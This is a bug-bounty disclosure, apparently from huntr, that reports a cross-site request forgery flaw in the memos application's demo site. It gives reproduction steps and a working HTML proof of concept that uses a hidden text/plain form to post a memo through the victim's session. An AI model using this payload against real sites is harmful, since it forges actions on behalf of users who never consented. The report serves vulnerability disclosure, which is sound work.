Lucene search

K
huntrNehalr777404CE7DD-F345-4D98-AD80-C53AC74F4E5C
HistoryDec 23, 2022 - 4:43 p.m.

CSRF allows attacker to post on behalf of victim

2022-12-2316:43:14
nehalr777
www.huntr.dev
7
csrf attack
web application
authenticated user
poc
bug bounty

0.001 Low

EPSS

Percentile

29.5%

Description

Cross-Site Request Forgery (CSRF) is an attack that forces authenticated users to submit a request to a Web application against which they are currently authenticated. CSRF attacks exploit the trust a Web application has in an authenticated user.

Proof of Concept

1) Go to https://demo.usememos.com and login into your account 
2) Save the below CSRF POC as CSRF.html and open the file in the same browser 
3) You will see that the attackers content has been posted by the victim

POC video: https://drive.google.com/file/d/1fYjhqTC53GzgREP2vxjv0WYP6d0PGEls/view?usp=sharing

CSRF POC:

<html>
  
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.usememos.com/api/memo" method="POST" enctype="text/plain">
      <input type="hidden" name="{"content":"Hacked by alchemist","visibility":"PRIVATE","resourceIdList":[]}" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

0.001 Low

EPSS

Percentile

29.5%

Related for 404CE7DD-F345-4D98-AD80-C53AC74F4E5C